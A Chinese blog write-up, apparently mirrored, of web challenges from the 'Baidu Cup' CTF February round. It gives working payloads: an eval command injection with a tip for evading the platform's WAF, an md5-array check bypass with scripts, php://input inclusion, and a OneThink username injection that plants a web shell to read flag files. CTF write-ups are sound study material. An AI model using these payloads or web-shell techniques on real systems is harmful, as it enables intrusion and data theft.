zoukankan      html  css  js  c++  java
  • “百度杯”CTF比赛(二月场)-web-writeup

    爆破一:

    打开网页看到源代码:

    根据提示这题就是找变量的值,本想爆破,但不太现实。百度 php获取变量的值 有个超全局数组 $GLOBALS 

    爆破二:

    打开网页看到源代码:

    看到了eval() 函数,想到命令执行

    提示不在变量中,应该再flag.php

    Exp:

    ?hello=);system("cat flag.php");//

    闭合前面,注释后面

    但有一个问题,就是会被i春秋自己的waf挡,我们改成post,然后传一个参数,让其值大约2万个左右。

    爆破三:

    打开网页看到源代码:

    有三个SESSION变量 nums:计数 time:记时 whoami:有个初始值 然后将$str_rands 生成的随机字符赋值给它。

    $str_rands 就是生成2位随机的26字母

    当满足$_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0 nums+1

    写个脚本测试发现当md5(数组),条件即为真。

    <?php
    
      error_reporting(0);
    
      $arr=$_GET['a'];
    
      if (substr(md5($arr),5,4)==0){
    
        echo 'yes';
    
        }
    
      else{
    
        echo 'no';
    
      }
    
    ?>

      

    所以第一次访问

    http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a

    后面依次传值,10以上就行。

    Python脚本:

    #!usr/bin/env python
    #!coding=utf-8
    
    __author__ = 'zhengjim'
    
    import requests
    
    aa = requests.session()
    code = aa.get('http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a').text
    # print code
    cc = code[:2]
    for i in xrange(10):
        url = 'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1]={}'.format(cc[0],cc[1])
        flag= aa.get(url=url).text
        cc = flag[:2]
    print flag

      

    include

    看到allow_url_include开启:

    直接 php://input就行啦

    ls看有什么文件,然后cat。

    zone

    没写出来。

    参考:http://www.cnblogs.com/Mrsm1th/p/6600876.html

    利用nginx 配置不当导致目录遍历下载漏洞。

    onethink

    百度找到onethinnk的一个漏洞。

    参考:http://www.hackdig.com/06/hack-36510.htm

    就是注册个账号为:

    %250a%24a%3d%24_GET%5ba%5d%3b%2f%2f%250aecho+%60%24a%60%3b%2f%2f的账号, 但因为账号长度有限制。所以分别两个来注册

    账号一:%0a$a=$_GET[a];//

    账号二:%0aecho `$a`;//

    burp来改包,不然会失败。

    依次登入,也要用burp来改包登入。

    然后访问/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php

    查找下flag位置 cat就行了。

    /Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php

  • 相关阅读:
    二.Vue的使用
    一.关于Vue的介绍
    初识Django
    关于背景音乐(音效)的播放
    GDI打砖块游戏
    WIN32打网球
    《逐梦旅程:Windows游戏编程之从零开始》学习笔记之二:GDI框架
    控制台Student Management System <C++>
    《逐梦旅程:Windows游戏编程之从零开始》学习笔记之一:WIN32窗口框架
    使用VS2010 出现error LNK2019: 无法解析的外部符号......
  • 原文地址:https://www.cnblogs.com/zhengjim/p/6666961.html
Copyright © 2011-2022 走看看